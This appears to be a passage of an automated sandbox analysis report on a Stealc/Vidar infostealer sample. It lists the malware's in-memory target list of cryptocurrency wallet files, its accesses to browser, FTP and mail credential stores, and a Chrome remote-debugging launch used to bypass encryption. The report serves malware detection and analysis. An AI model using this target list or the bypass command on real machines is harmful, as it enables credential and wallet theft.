Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2684323133.0000000000985000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Ethereum\
Source: file.exe, 00000000.00000002.2685963034.00000000010D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2684323133.0000000000985000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum
Source: file.exe, 00000000.00000002.2685963034.00000000010D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2684323133.0000000000A37000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe, 00000000.00000002.2685963034.00000000010D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2685963034.00000000010D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2685963034.00000000010D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2684323133.0000000000985000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: keystore
Source: file.exe, 00000000.00000002.2685963034.00000000010D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2685963034.0000000001138000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.*

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\Documents\KKFBAAFCGI.exe

Directory queried: C:\Users\user\Documents

Jump to behavior

Source: Yara match	File source: 00000000.00000002.2684323133.000000000099C000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4340, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2685963034.00000000010DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2126870772.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2684323133.00000000008D1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4340, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 4340, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB50C40 sqlite3_bind_zeroblob,	0_2_6CB50C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB50D60 sqlite3_bind_parameter_name,	0_2_6CB50D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA78EA0 sqlite3_clear_bindings,	0_2_6CA78EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB50B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6CB50B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA76410 bind,WSAGetLastError,	0_2_6CA76410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA760B0 listen,WSAGetLastError,	0_2_6CA760B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7C030 sqlite3_bind_parameter_count,	0_2_6CA7C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA76070 PR_Listen,	0_2_6CA76070

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	12 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Scheduled Task/Job	4 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	241 Virtualization/Sandbox Evasion	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.Symmi
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\Documents\KKFBAAFCGI.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
